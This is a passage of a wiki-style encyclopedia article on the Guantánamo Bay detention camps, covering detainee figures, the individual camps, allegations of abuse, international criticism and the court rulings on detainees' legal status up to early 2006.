As of June 2005, the United States was holding about 520 foreign terrorism suspects at the facility, some of whom were captured in [[Afghanistan]].  On [[September 22]], [[2004]] ten prisoners were brought from Afghanistan. A total of 242 detainees have been moved out of Guantánamo as of [[July 20]], [[2005]], according to the [http://usinfo.state.gov/xarchives/display.html?p=washfile-english&amp;y=2005&amp;m=July&amp;x=20050720174600adynned0.488476&amp;t=livefeeds/wf-latest.html U.S. Department of Defense],
Of these 242, 173 have been released, and 69 transferred to the governments of other countries. 

On [[November 12]], [[2005]], the [[Wall Street Journal]] reported that as of [[November 7]], [[2005]],  358 of the 505 detainees then held at Guantánamo Bay had had Administrative Review Board hearings. Of these, 3 percent were granted and awaiting release, the decision was to transfer in 20 percent, the decision was to continue to detain in 37 percent, and there was no decision yet in 40 percent.  

The WSJ reports that of the 505 detainees held in Guantánamo,  100 or more are from Saudi Arabia, about 80 are from Yemen, about 65 are from Pakistan and about 50 are from Afghanistan. Two detainees are from Syria.

A [http://law.shu.edu/news/guantanamo_report_final_2_08_06.pdf report based on data supplied by the Defense Department] showed that 86% of the prisoners were handed over by local bounty-hunters rather than as the result any American investigation or collection of intelligence.

The WSJ reports that there are 28 detainees at Guantánamo on hunger strikes. Of those, 23 are being tube-fed at the local military hospital. This number is down sharply from July of [[2005]], when more than 100 detainees were on hunger strikes.

===Detention camps===
[[Image:camp_delta.jpg|thumb|300px|A Camp Delta recreation and exercise area at Guantánamo Bay, Cuba. The detention block is shown with sunshades drawn on [[December 3]], [[2002]].]]

It is argued that U.S. government is currently in breach of the Geneva Conventions, as the Third [[Geneva Convention]] makes no distinction between 'Prisoners of War' and 'illegal combatants'.[http://www.guardian.co.uk/comment/story/0,3604,921192,00.html] The [[George W. Bush|Bush]] administration believes that the Third Geneva Convention, by defining who is subject to its protections, clearly implies that there may be persons who engage in hostilities against American forces who are not covered by its purview. No foreign state has supported this view. The United States of America government currently refuses to give Guantánamo detainees trials.

The Council of Europe's Parliamentary Assembly has released its own report on [http://assembly.coe.int/Documents/WorkingDocs/Doc05/EDOC10497.htm the Lawfulness of detentions by the United States of America in Guantánamo Bay] and more recently both Amnesty International and the United Nations have expressed their own concerns in a [http://web.amnesty.org/pages/guantanamobay-index-eng series of reports] into what they call &quot;a human rights scandal&quot;.

Camp Delta is the main prison at Guantánamo Bay. As of [[July 22]], [[2005]] there are &quot;about 510 prisoners at Guantánamo.&quot; [http://www.nytimes.com/2005/07/22/politics/22gitmo.html]

The Migrant Operations Center on Guantánamo typically keeps less than 30 individuals interdicted at sea in the Caribbean region.

==Camp Delta==
''Main article: [[Camp Delta]]''

'''Camp Delta''' (composed of detention camps: 1,2,3,4,5,6, and [[Camp Echo]]) is located in the [[United States|U.S.]] [[United States Navy|naval base]] that stands on [[Guantánamo Bay]] in [[Cuba]]. It is a permanent 612-unit detention center. Construction of the camp began on [[February 27]], [[2002]] with workers from Kellogg, Brown and Root, a subsidiary of [[Halliburton]], [[Seabee|Navy Seabees]], and Marine Engineers. It finished approximately in the middle of April 2002. The U.S. army military police make up the security force present at Camp Delta. 

Camp 3 is the maximum security camp; when a prisoner first arrives, he is sent here. When a detainee shows co-operation with the staff, he is moved to Camp 2. With more co-operation, the prisoner is moved to Camp 1. Finally, when a prisoner shows no security risk and is actively co-operating with the interrogation process, he is moved to Camp 4. 

Camp 4 detainees are housed in buildings with four communal living rooms of 10 persons, each with a private toilet and sink, as well as a larger shower and toilet room that serve the entire complex.  Detainees each have a bed with a mattress, locker for storing personal items like diaries and books. Camp 4 also has small, common recreational areas for playing board games and team sports.  Detainees at Camp 4 share communal meals, and wear white instead of orange.[http://www.globalsecurity.org/military/facility/guantanamo-bay_delta.htm]

[[Camp Echo]] is a detention center where pre-commissions are held. The detainees here have access to [[lawyers]] and hold private conversations with them. [[Camp Iguana]] is a low-security detention center once used for juvenile detainees, now used for some of the 38 deemed non-illegal combatants while they await transfer to a permanent home abroad.

==Camp Iguana==
{{main|Camp Iguana}}

Camp Iguana was a separate, smaller compound, over a kilometer distant from the main prison compound, used to house the most privileged  prisoners.  In 2002 and 2003 it housed three of the youngest detainees who were under age 16. The Iguana compound was closed when the three juveniles were flown home in [[January 2004]].  At least ten more minors were detained with the adult prisoners in Camp Delta {{ref|CliveStaffordSmith}}.

The compound was reopened in mid-2005, when the [[Combatant Status Review Tribunal]]s had determined that 38 detainees were not &quot;illegal combatants&quot;.   Some of these 38 detainees who could not safely be repatriated to their home country were moved to Camp Iguana.  

According to an article in the London [[The Sunday Times (UK)|Sunday Times]] on [[June 26]] [[2003]], the living quarters are air-conditioned and consist of &quot;a bedroom with twin beds, a small living room with two armchairs, sofa and television, and a bathroom and kitchenette&quot;, with an oven present for aesthetic reasons, and a refrigerator whose fruit and dessert contents are reportedly handled as part of a reward system. A line of black tape on the floor separates the living room and kitchen areas while privacy in the bathroom is handled by a blue curtain.

==Camp X-Ray (closed April 2002)==
[[Image:camp_xray.jpg|thumb|300px|Camp X-Ray, shown here under construction, was a temporary holding facility for detainees held at U.S. Naval Base Guantánamo Bay, Cuba.]]
'''Camp X-Ray''' was a temporary detention facility located at the [[Joint Task Force Guantánamo]] on the [[United States Navy|U.S. Naval Base]] in Guantánamo Bay, [[Cuba]]. It was named ''Camp X-Ray'' because various temporary camps in the station were named sequentially from the beginning and then from the end of the [[NATO phonetic alphabet]]. The legal status of [[detainee|detainees]] at the camp has been a significant source of [[controversy]], ultimately reaching the [[Supreme Court of the United States|United States Supreme Court]]. 

As of [[April 29]], [[2002]], the official Camp X-Ray was closed and all prisoners were transferred to [[Camp Delta]]. However, the term &quot;Camp X-Ray&quot; is sometimes still used as synonym for the entire facility where suspected Al Qaeda and Taliban illegal combatants are detained.

Care of the detainees at Camp X-Ray was handled by Joint Task Force 160 (JTF-160), while interrogations were conducted by Joint Task Force 170 (JTF-170).

JTF-160 was under the command of [[United States Marines|Marine]] [[Brigadier General]] [[Michael Lehnert]] until [[March 2002]], when he was replaced by Brigadier General [[Rick Baccus]]. In [[November 2002]], Baccus was replaced as commander by [[Major General]] [[Geoffrey Miller (MG)|Geoffrey Miller]]. He was in turn replaced by Brigadier General Jay Hood in March 2004 while Miller was sent to deal with the [[Abu Ghraib prisoner abuse]] in [[Iraq]]. [[U.S. Army]] [[Lieutenant Colonel]] Bill Cline serves as the commander for security forces. Since Camp X-Ray's closure and the subsequent opening of Camp Delta, JTF-160 and 170 have been combined into Joint Task Force Guantánamo (JTF-GTMO).

The U.S. government has classified the detainees in Camp X-Ray as &quot;[[illegal combatant]]s,&quot; rather than [[POW|prisoners of war]] (POWs), which they claim means that they do not have to be conferred the rights granted to POWs under the [[Geneva Conventions]]. The U.S. government justifies this designation by claiming that they do not have the status of either regular [[soldier]]s nor that of [[guerrilla warfare|guerrillas]], and they are not part of a regular [[army]] or [[militia]]. In [[July 2003]], about 680 alleged [[Taliban]] members and suspected [[Al-Qaeda]] [[terrorism|terrorists]] from 42 different countries were housed there. None have been allowed to meet with [[attorney]]s.

The [[human rights]] organization [[Human Rights Watch]] has criticized the [[George W. Bush|Bush administration]] over this designation in its 2003 world report, stating: &quot;Washington has ignored [[human rights|human rights standards]] in its own treatment of terrorist suspects. It has refused to apply the Geneva Conventions to prisoners of war from [[Afghanistan]], and has misused the designation of 'illegal combatant' to apply to [[crime|criminal]] suspects on U.S. soil.&quot;

On [[April 23]], [[2003]], the U.S. military reported that three of the [[Afghanistan|Afghan]] war prisoners held at Camp Delta had been identified as juveniles, were separated from the adult prisoners, and moved to markedly better conditions at Camp Iguana.

On [[July 23]], [[2003]], U.S. Major General [[Geoffrey Miller]] said that three-quarters of the roughly 660 detainees had confessed to some involvement in terrorism. Many have informed about friends and colleagues. According to Miller, the confessions were acquired through rewards that included extended recreation time, extra food rations to keep in their cells, or a move to the prison's medium-security facility. However, some have questioned the value of the confessions, given the conditions under which they were obtained. Similarly, the general's statement, if true, could be construed to mean that a quarter of the detainees have admitted no guilt to the charges that they are terrorists or were involved in terrorism, and therefore may be unjustly incarcerated.

As of [[August 2003]], at least 29 inmates of Camp Delta had attempted [[suicide]] in protest. The U.S. officials would not say why they had not previously reported the incident [http://news.bbc.co.uk/1/hi/world/americas/4204027.stm]. After this event [[the Pentagon]] reclassified suicides as &quot;[[manipulative self-injurious behavior]]s&quot; because it is alleged by camp physicians that detainees do not genuinely wish to end their lives. The prisoners supposedly feel that they may be able to get better treatment or release with suicide attempts. [[Daryl Matthews]], a professor of forensic psychiatry at the [[University of Hawaii]] who examined the prisoners, stated that given the cultural differences between interrogators and prisoners, such a classification was difficult if not impossible. Depression is common in Guantánamo, with 1/5 of all prisoners taking [[antidepressants]] such as [[prozac]].[http://www.informationclearinghouse.info/article5405.htm]

In late [[January 2004]], U.S. officials released three children aged 13 to 15 and returned them to [[Afghanistan]].  Prison officials say these three were the only detainees below the age of 16.  In [[March 2004]], twenty-three adult prisoners were released to [[Afghanistan]], five were released to the [[United Kingdom]] (the final four British detainees were released in [[January 2005]]), and three were sent to [[Pakistan]].

On [[August 4]], [[2004]], the three ex-detainees who were returned to the U.K. (who were freed by the British authorities within 24 hours of their return home), filed a report in the U.S. claiming persistent severe abuse at the Camp, of themselves and others (See [http://www.guardian.co.uk/international/story/0,,1275478,00.html]''The Guardian'' newspaper article). They claimed that false confessions were extracted from them under duress, in conditions which amounted to torture. They alleged that conditions deteriorated when Major General Geoffrey Miller took charge of the camp, including increased periods of solitary confinement for the detainees. They claimed that the abuse took place with the knowledge of the intelligence forces. Their claims are currently being investigated by the British Government.

There are five British residents remaining: [[Bisher Amin Khalil Al-Rawi]], [[Jamil al Banna]], [[Shaker Aamer|Shaker Abdur-Raheem Aamer]], [[Jamal Abdullah]] and [[Omar Deghayes]]. All these men have close family members who are British citizens and have themselves lived in the UK for many years: [https://www4.indymedia.org.uk/en/2005/04/308380.html Moazzam Begg Speaks about his experience at Guantánamo]. In addition there are 'ghost prisoners' undeclared by the State, some of whom may be British or British resident. 

Many of the released prisoners have complained of enduring beatings, [[sleep deprivation]], prolonged constraint in uncomfortable positions, prolonged [[hood (headgear)|hooding]], sexual and cultural humiliation, forced injections, and other physical and psychological mistreatment during their detention in Camp Delta. 

The U.S. government has denied all of the above charges, but on [[May 9]], the ''[[Washington Post]]'' obtained classified documents that showed Pentagon approval of using sleep deprivation, exposure to hot and cold, bright lights, and loud music during interrogations at Guantánamo [http://www.washingtonpost.com/wp-dyn/articles/A11017-2004May8.html]. [[Sean Baker]], a soldier posing as a prisoner during training exercises at the camp, was beaten so severely that he suffered a brain injury and seizures. [http://seattlepi.nwsource.com/national/apus_story.asp?category=1110&amp;slug=Soldier%20Guantanamo]
In June 2004 the ''[[New York Times]]'' reported that of the nearly 600 detainees not much more than two dozens were closely linked to Al-Qaeda and that only very limited information could have been gotten from questionings. The only top terrorist is reportedly [[Mohamed al-Kahtani]] from [[Saudi Arabia]], who is believed to have planned to participate in the [[September 11, 2001 terrorist attacks]]. [http://www.nytimes.com/2004/06/21/politics/21GITM.html?hp=&amp;pagewanted=print&amp;position=]

The [[International Committee of the Red Cross]] inspected the camp in June 2004. In a confidential report issued in July 2004 and leaked to the ''New York Times'' in November 2004, Red Cross inspectors accused the U.S. military of using &quot;humiliating acts, solitary confinement, temperature extremes, use of forced positions&quot; against prisoners. The inspectors concluded that &quot;the construction of such a system, whose stated purpose is the production of intelligence, cannot be considered other than an intentional system of cruel, unusual and degrading treatment and a form of torture.&quot; The United States Government has reportedly rejected the Red Cross findings. [http://www.reuters.com/newsArticle.jhtml?type=topNews&amp;storyID=6951969 Reuter], [http://nytimes.com/2004/11/30/politics/30gitmo.html?ei=5094&amp;en=8d107165e454d8b6&amp;hp=&amp;ex=1101877200&amp;adxnnl=1&amp;partner=homepage&amp;adxnnlx=1101843681-+nTyVVJpq8yXt1yEg4X28g ''New York Times''], [http://www.icrc.org/Web/eng/siteeng0.nsf/iwpList4/C5667B446C9A4DF7C1256F5C00403967 ICRC comments]

[[Abdul Ghaffar]], captured in Afghanistan in December 2001, was one of the twenty-three prisoners released from Camp Delta in late January 2004. After his release, he rejoined the remnants of the Taliban and was killed in a gunfight in late September 2004[http://www.voanews.com/article.cfm?objectID=E2B743AD-19BE-4C63-9228B3E9427A6C70&amp;title=Taleban%20Leader%20Killed%20in%20Afghanistan%20was%20in%20Guantanamo%20Bay%20Prison].

Abdullah Mehsud, also captured in Afghanistan in December 2001 after surrendering to [[Abdul Rashid Dostum]], masterminded the kidnapping of two Chinese engineers in Pakistan's South Waziristan region as well as returning to his position as an Al-Qaeda field commander. Mehsud has also claimed responsibility for the bombing at Islamabad&amp;#8217;s Marriott Hotel in October [[2004]]. The blast injured seven people, including a U.S. diplomat, two Italians and the Pakistani prime minister&amp;#8217;s chief security officer.

Airat Vakhitov and Rustam Akhmyarov, two Russian nationals captured in Afghanistan in [[December 2001]] and released from Guantánamo in late [[2002]], were arrested by [[Russia|Russian]] authorities on [[August 30]], [[2005]]. The two former detainees were arrested in [[Moscow]] for allegedly preparing a series of attacks in Russia. According to authorities, Vakhitov was using a local human rights group as cover for his activities. [http://www.mosnews.com/news/2005/08/30/guantanamorussians.shtml]

==International concern about the conditions in the camp==
On [[May 25]], [[2005]], [[Amnesty International]] released its annual report calling the facility the ''&quot;[[gulag]] of our times&quot;''[http://www.chicagotribune.com/news/nationworld/chi-0505260166may26,1,671415.story?coll=chi-newsnationworld-hed] , even using the expression &quot;''[[The Gulag Archipelago]]''&quot; to design to the whole of the [[black site]]s:

:&quot;''Guantánamo has become the gulag of our times, entrenching the notion that people can be detained without any recourse to the law. If Guantánamo evokes images of Soviet repression, &quot;[[ghost detainees]]&quot; – or the incommunicado detention of unregistered detainees - bring back the practice of &quot;[[forced disappearances|disappearances]]&quot; so popular with Latin American dictators in the past. According to U.S. official sources there could be over 100 ghost detainees held by the U.S.''&quot; [http://web.amnesty.org/library/Index/ENGPOL100142005]

Physical conditions for detainees at Camp Delta meet basic standards for maintaining health, but the prisoners are held in small, mesh-sided cells with little privacy, and lights are kept on day and night. Detainees are said to have rations similar to American forces, with consideration for [[Muslim]] dietary needs. [[James Yee]], a Muslim chaplain from the U.S. Navy, provided religious services, but has now resigned after unproven allegations were brought against him by the United States, following his tour of duty at Guantánamo Bay.  These charges include sedition, aiding the enemy, spying (though it was never declared on whose behalf), espionage, and failure to obey a general order. He was then transferred to a United States Navy brig in Charleston, South Carolina. Later, the charges were quietly dropped. He states that he resigned because no apology was given, nor was there an acknowledgement of error by the U.S.

Detainees are kept in isolation most of the day, are [[blindfold]]ed when moving into Camp Delta and from place to place within the camp, and forbidden to talk in groups of more than three. American doctrine in dealing with prisoners of war state that isolation and silence are effective means in breaking down the will to resist [[interrogation]]. There have been allegations of [[torture]], including sleep deprivation, the use of so-called [[truth drug]]s, beatings, locking in confined and cold cells, and being forced to maintain uncomfortable postures. It has been alleged that [[SERE]] (Survival, Evasion, Resistance, Escape) program's chief psychologist, Col. [[Morgan Banks]], issued guidance in early 2003 for the &quot;behavioral science consultants&quot; who helped to devise Guantánamo's interrogation strategy. SERE is a program based in [[Fort Bragg, North Carolina]].

Member states of the [[European Union]] and the [[Organization of American States]], as well as non-governmental organizations such as [[Amnesty International]] have strenuously protested the legal status and physical condition of detainees at Guantánamo. In addition, British and American [[court]]s have been approached by relatives and friends of detainees to request a legal determination favorable to detainees.

[[Johan van Zyl Steyn|Lord Steyn]], a prominent British judge, was quoted in the British newspaper ''[[The Independent]]'' on [[November 26]] [[2003]] regarding the planned trial of the prisoners by military tribunal: 

: ''As a lawyer brought up to admire the ideals of American democracy and justice, I would have to say that I regard this a monstrous failure of justice. The military will act as interrogators, prosecutors and defence counsel, judges, and when death sentences are imposed, as executioners. The trials will be held in private. None of the guarantees of a fair trial need be observed.''

At the beginning of [[December 2003]], there were media reports that military lawyers appointed to defend alleged terrorists being held by the U.S. at Guantánamo Bay had expressed concern about the legal process for military commissions. The UK's Guardian newspaper [http://www.guardian.co.uk/international/story/0,3604,1098523,00.html] reported that a team of lawyers was dismissed after complaining that the rules for the forthcoming military commissions prohibited them from properly representing their clients. New York's [[Vanity Fair magazine]] reported that some of the lawyers felt their ethical obligations were being violated by the process. [[The Pentagon]] strongly denied the claims in these media reports.

The ''[[Washington Post]]'' in a [[May 8]], [[2004]] [http://www.washingtonpost.com/wp-dyn/articles/A11017-2004May8.html article] describes a set of interrogation techniques approved for use in interrogating alleged terrorists at Guantánamo Bay which are said by [[Kenneth Roth]], executive director of [[Human Rights Watch]], to be cruel and inhumane treatment illegal under the [[United States Constitution|U.S. Constitution]].

On [[June 15]] [[Brigadier General]] [[Janis Karpinski]] at the centre of the [[Abu Ghraib prisoner abuse]] in [[Iraq]] said she was told from the top to treat detainees like dogs &quot;as it is done in Guantánamo &lt;nowiki&gt;[Camp Delta]&lt;/nowiki&gt;&quot;. The former commander of Camp X-Ray, Geoffrey Miller, was the person brought in to deal with the inquiry into the alleged abuses at Abu Ghraib in Iraq during the Allied occupation. Ex-detainees of the Camp have made serious allegations, including alleging Geoffrey Miller's complicity in abuse at Camp X-Ray.

Camp Delta is also unpopular with some in the U.S.; columnist [[Thomas Friedman]] urged [[George W. Bush]] to &quot;[http://www.nytimes.com/2005/05/27/opinion/27friedman.html?ex=1270785600&amp;en=37bef79604f97228&amp;ei=5090&amp;partner=rssuserland just shut it down]&quot;:

: [The Camp Delta] ''has become worse than an embarrassment. I am convinced that more Americans are dying and will die if we keep the Gitmo prison open than if we shut it down. So, please, Mr. President, just shut it down.''

Later, another ''New York Times'' editorial [http://www.nytimes.com/2005/06/05/opinion/05sun1.html] supported Friedman's proposal:

: ''What makes Amnesty's gulag metaphor apt is that Guantánamo is merely one of a chain of shadowy detention camps that also includes Abu Ghraib in Iraq, the military prison at Bagram Air Base in Afghanistan and other, secret locations run by the intelligence agencies. Each has produced its own stories of abuse, torture and criminal homicide. These are not isolated incidents, but part of a tightly linked global detention system with no accountability in law. Prisoners have been transferred from camp to camp. So have commanding officers. And perhaps not coincidentally, so have specific methods of mistreatment.''

On [[19 November]], [[2005]], a group of experts from the [[United Nations]] called off their visit to Camp Delta, originally scheduled for [[6 December]], saying that the United States was not allowing them to conduct private interviews with the prisoners. &quot;Since the Americans have not accepted the minimum requirements for such a visit, we must cancel [it],&quot; [[Manfred Nowak]], the UN envoy in charge of investigating torture allegations around the world, told AFP. However, the group is still intending to write a report on conditions at the prison, based on eyewitness accounts from released detainees, meetings with lawyers and information from human rights groups. [http://www.channelnewsasia.com/stories/afp_world/view/179382/1/.html]

On [[February 16]], [[2006]] the UN group released a report which called on the U.S. to either release all suspected terrorists or try them. [http://www.cnn.com/2006/US/02/16/un.guantanamo/index.html]

European leaders have also voiced their opposition to the detention centre. British Prime Minister, [[Tony Blair]], has described the centre as an 'anomaly'. On [[January 13]], [[2006]], German Chancellor [[Angela Merkel]], herself being raised in repressive [[East-Germany]] where similar practices were used, criticized the U.S. detention of prisoners at Guantánamo Bay and the &quot;interrogation technique&quot; known as &quot;[[waterboarding]]&quot;, calling it a form of torture: &quot;An institution like Guantánamo in its present form cannot and must not exist in the long term. We must find different ways of dealing with prisoners. As far as I'm concerned there's no question about that.&quot;, she declared in a [[January 9]] interview to ''[[Der Spiegel]]''. [http://www.cnn.com/2006/WORLD/europe/01/13/merkel.us.ap/index.html] [http://service.spiegel.de/cache/international/0,1518,394180,00.html]

==Legal proceedings==
===United States Supreme Court===
On [[November 10]], [[2003]], the [[United States Supreme Court]] announced that it would decide on appeals by Afghan war detainees who challenge their continued incarceration at the Camp as being unlawful. 

On [[10 January]] [[2004]], 175 members of both [[United Kingdom Parliament|houses of Parliament in the UK]] had filed an [[amicus curiae|amici curi&amp;aelig;]] brief to support the detainees' access to USA jurisdiction.

On [[June 28]], [[2004]] the Supreme Court ruled that &quot;illegal combatants&quot; such as those held in Guantánamo can challenge detentions but can also be held without charges or trial.

====Military Commission hearings (Camp Delta)====
On [[November 8]], [[2004]], a federal court halted the proceeding of Salim Ahmed Hamdan, 34, of Yemen. Hamdan was to be the first Guantánamo detainee tried before a military commission. 

Judge James Robertson of the U.S. District Court for the District of Columbia ruled that the U.S. military had failed to convene a [[competent tribunal]] to determine that Hamdan was not a [[prisoner of war]] under the Geneva Conventions -- specifically [http://wikisource.org/wiki/Third_Geneva_Convention#Article_5 Article 5 of the third Geneva Convention], which reads:

:Should any doubt arise as to whether persons, having committed a belligerent act and having fallen into the hands of the enemy, belong to any of the categories enumerated in [http://wikisource.org/wiki/Third_Geneva_Convention#Article_4 Article 4], such persons shall enjoy the protection of the present Convention until such time as their status has been determined by a competent tribunal.

However, a three judge panel overturned judge Robertson's ruling on Friday [[July 15]] [[2005]] [http://www.goupstate.com/apps/pbcs.dll/article?AID=/20050716/ZNYT02/507160358/1051/NEWS01].
The panel's ruling stated that the trial by [[Military tribunal|military commission]] could, in and of itself, serve as the necessary &quot;competent tribunal&quot;.

====Combatant Status Review Tribunals====
:''see also [[Combatant Status Review Tribunal]]''

In July 2004, following the ''[[Hamdi v. Rumsfeld]]''-ruling (November 2004) the Bush administration has begun using Combatant Status Review Tribunals to determine the status of detainees. By doing so the obligation under [[wikisource:Third Geneva Convention#Article 5|Article 5 of the GCIII]] was to be addressed. The U.S. judicial branch agreed with critics of the U.S. executive branch, that the USA did have a treaty obligation to convene competent tribunals to determine whether their prisoners were or were not &quot;[[lawful combatant]]s&quot;.

On [[31 January]], Washington federal judge [[Joyce Hens Green]] ruled that the [[Combatant Status Review Tribunal]]s held to acertain the status of the prisoners in Guantánamo as &quot;illegal combatants&quot; were &quot;unconstitutional&quot;, and that they were entitled to the rights granted by the Constitution of the United States of America.

The Combatant Status Reviews were completed in March 2005.  38 of the detainees who had been imprisoned, for years, without charge, and subjected to years of abusive interrogation, were determined to have been innocent civilians all along.  

On [[March 29]] [[2005]], the dossier of [[Murat Kurnaz]] was accidentally declassified.  Kurnaz was one of the 500-plus detainees the reviews had determined '''''was''''' an &quot;unlawful combatant&quot;.  Critics found that his dossier contained over a hundred pages of reports of investigations, which had found no ties to terrorists or terrorism whatsoever.  It contained one memo that said Kurnaz had a tie to a suicide bomber.  Judge Green said this memo:

:&quot;fails to provide significant details to support its conclusory allegations, does not reveal the sources for its information and is contradicted by other evidence in the record.&quot;

Eugene R. Fidell, who the [[Washington Post]] called [http://www.washingtonpost.com/ac2/wp-dyn/A3868-2005Mar26?language=printer a Washington-based expert in military law], said:

:&quot;It suggests the procedure is a sham, If a case like that can get through, what it means is that the merest scintilla of evidence against someone would carry the day for the government, even if there's a mountain of evidence on the other side.&amp;quot;

Another detainee, [[Mahdi, Fawaz Naman Hamoud Abdullah|Fawaz Mahdi]], was determined by a CSRT to be an [[unlawful combatant]] despite the fact that the CSRT itself (and also Fawaz' lawyer and he himself) observed that he suffers a form of mental illness, and that the only evidence for determining his status was his own statement. [http://web.amnesty.org/library/Index/ENGAMR511932005]

The principal arguments of why these tribunals are inadequate to warrant acceptance as &quot;competent tribunal,&quot; are:[http://law.richmond.edu/news/view.php?item=145][http://www.nyu.edu/globalbeat/syndicate/smith072604.html]
:a The CSRT conducted rudimentary proceedings
:b The CSRT afforded detainees few basic protections
:c Many detainees lacked counsel
:d The CSRT also informed detainees only of general charges against them, while the details on which the CSRT premised enemy combatant status decisions were classified.
:e Detainees had no right to present witnesses or to cross-examine government witnesses.
Most notably the flawed nature of the procedure can be seen in the following cases: [[Mustafa Ait Idir]], [[Moazzam Begg]],[[Murat Kurnaz]], [[Feroz Abbasi]], and [[Martin Mubanga]].[http://www.washingtonpost.com/wp-dyn/articles/A3868-2005Mar26.html][http://www.washingtonpost.com/wp-dyn/articles/A51007-2005Jan31.html][http://www.commondreams.org/headlines06/0218-05.htm] A comment by legal experts states&quot;:
:''It appears ... that the procedures of the Combatant Status Review Tribunals do not qualify as status determination under the Third Geneva Convention. &lt;......&gt; The fact that no status determination had taken place according to the Third Geneva Convention was sufficient reason for a judge from the District Court of Columbia dealing with a habeas petition, to stay proceedings before a military commission. Judge Robertson in Hamdan v. Rumsfeld held that the Third Geneva Convention, which he considered selfexecuting, had not been complied with since a Combatant Status Review Tribunal could not be considered a ‘competent tribunal’ pursuant to article 5 of the Third Geneva Convention.''[http://64.233.183.104/search?q=cache:LfG0Qe7qjWsJ:www.utrechtlawreview.org/publish/articles/000003/article.pdf+Fletcher+Unlawful+combatant&amp;hl=en]

===Other court rulings===
On [[February 23]], [[2006]] U.S. District Judge Jed S. Rakoff in New York ordered the Defense Department to release uncensored transcripts of detainee hearings, including the names of detainees in custody as well as the names of those who have been held and later released. The U.S. military has never officially released even the names of any detainees except the ten who have been charged. The U.S. Defense Department immediately said it would obey the judge's order. [http://edition.cnn.com/2006/LAW/02/23/guantanamo.lawsuit.ap/index.html Related CNN story]

===Legal status===
The particular legal status of Guantánamo Bay was a factor in the choice of Guantánamo as a detention center. Because sovereignty of Guantánamo Bay ultimately resides with Cuba, the U.S. government argued unsuccessfully that U.S. courts had no jurisdiction to consider challenges to the legality of the detention of foreign nationals captured abroad in connection with hostilities and incarcerated at Guantánamo Bay.(see ''Cuban American Bar Ass'n, Inc. v. Christopher, 43 F.3d 1412'' (11th Cir. 1995)). In 2004, the Supreme Court rejected this argument in the case ''[[Rasul v. Bush]]'' brought by the [[Center for Constitutional Rights]], with the majority decision and ruled that prisoners in Guantánamo have access to American courts to challenge the legality of their detention, citing the fact that the U.S. has exclusive control over Guantánamo Bay.

On [[November 8]], [[2004]] U.S. District Court Judge [[James Robertson (Judge)|James Robertson]] ruled in [[Hamdi v. Rumsfeld]] that the [[George W. Bush|Bush Administration]] could not try such prisoners as enemy combatants in a military tribunal and could not deny them access to the evidence used against them. [http://www.washingtonpost.com/wp-dyn/articles/A34519-2004Nov8.html] However, on [[15 July]] [[2005]], the D.C. Circuit Court of Appeals in overturning Robertson ruled that al-Qaeda members could not be classified as prisoners of war and upheld [[military tribunal]]s in Guantánamo Bay Naval Base for al-Qaeda members. This ruling does not necessarily authorize all military tribunals as the case only dealt with the POW status of al-Qaeda members.

Prisoners held at Camp Delta and Camp Echo have been labelled &quot;illegal&quot; or &quot;unlawful enemy combatants&quot;, but a number of observers such as the Center for Constitutional Rights and [[Human Rights Watch]] maintain that the United States has not held the [[Combatant Status Review Tribunal|Article 5 tribunals]] required by the Geneva Conventions. [http://hrw.org/press/2002/01/us012802-ltr.htm ] The [[International Committee of the Red Cross]] has stated that, &quot;Every person in enemy hands must have some status under international law: he is either a prisoner of war and, as such, covered by the Third Convention, a civilian covered by the Fourth Convention, [or] a member of the medical personnel of the armed forces who is covered by the First Convention.  There is no intermediate status; nobody in enemy hands can fall outside the law.&quot; Thus, if the detainees are not classified as prisoners of war, this would still grant them the rights of the [[Fourth Geneva Convention]] (GCIV), as opposed to the more common [[Third Geneva Convention]] (GCIII) which deals exclusively with prisoners of war.  

Many supporters of the Bush administration have argued for the summary execution of all [[unlawful combatants]], using [[Ex parte Quirin]] as the precedent, a case during [[World War II]] which upheld the use of military tribunals for eight German soldiers caught on U.S. soil.  The Germans were deemed to be saboteurs and unlawful combatants, and thus not entitled to POW protections, and six were eventually executed for [[war crimes]] on request of the [[President]] of the [[United States of America]], [[Franklin D. Roosevelt]]. The validity of this case, as basis for denying prisoners in the [[war on terror]] protection by the Geneva Conventions, has been disputed.[http://www.prospect.org/print/V13/1/fletcher-g.html][http://www.aclu.org/safefree/detention/18471leg20040623.html][http://www.iap.nl.com/speeches_annual_conference_2003_washington/terrorism_and_the_rule_of_law_speech_by_nicholas_cowdery.html] A report by the [[American Bar Association]] commenting on this case, states: 
:''The Quirin case, however, does not stand for the proposition that detainees may be held incommunicado and denied access to counsel; the defendants in Quirin were able to seek review and they were represented by counsel. In Quirin, “The question for decision is whether the detention of petitioners for trial by Military Commission ... is in conformity with the laws and Constitution of the United States. “ Quirin, 317 U.S. at 18. Since the Supreme Court has decided that even enemy aliens not lawfully within the United States are entitled to review under the circumstances of Quirin,11 that right could hardly be denied to U. S. citizens and other persons lawfully present in the United States, especially when held without any charges at all.''[http://news.findlaw.com/hdocs/docs/aba/abatskforce103rpt.pdf]

===Prisoner complaints===
Three [[United Kingdom|British]] prisoners, represented by the Center for Constitutional Rights released in 2004 without charge, have alleged ongoing [[torture]], sexual degradation, forced drugging and religious persecution being committed by U.S. forces at Guantánamo Bay.  The prisoners have released a 115-page dossier detailing these accusations. [http://www.wsws.org/articles/2004/aug2004/guan-a06.shtml]  They have also accused British authorities of knowing about the alleged torture and failing to respond. 

The accounts of the British prisoners have been reiterated by two former [[France|French]] prisoners, a former Swedish prisoner, and a former [[Australia|Australian]] prisoner. 

Former Guantánamo detainee, the [[Sweden|Swede]] Mehdi Ghezali was freed on [[July 9]], [[2004]] after two and half years internment. Ghezali has claimed that he was the victim of repeated torture. His lawyer has declared that he intends to sue the U.S. for their treatment of him.

Former Guantánamo detainee Moazzam Begg, freed in January, 2005, after nearly three years in captivity, has accused his American captors of torturing him and other detainees arrested in Afghanistan and Pakistan.[http://www.channel4.com/news/2005/02/week_4/24_begg3.html]  Mr Begg, in his first broadcast interview since his release, claimed he &quot;witnessed two people get beaten so badly that I believe it caused their deaths&quot;.

An [[Associated Press]] report asserted that some of the detainees were turned over to the United States by [[Afghan people|Afghan]] tribesmen in return for cash rewards.  Detainees testified during military tribunals that [[Bounty|bounties]] ranged from $3,000 to $25,000. The allegations were in transcripts the U.S. government released in compliance with a [[Freedom of Information Act|Freedom of Information]] lawsuit filed by AP. [http://www.guardian.co.uk/worldlatest/story/0,1280,-5043187,00.html]  There has not been independent confirmation of any of the above allegations since the U.S. government prohibits investigation by any third party. [http://news.bbc.co.uk/2/hi/americas/4123200.stm]

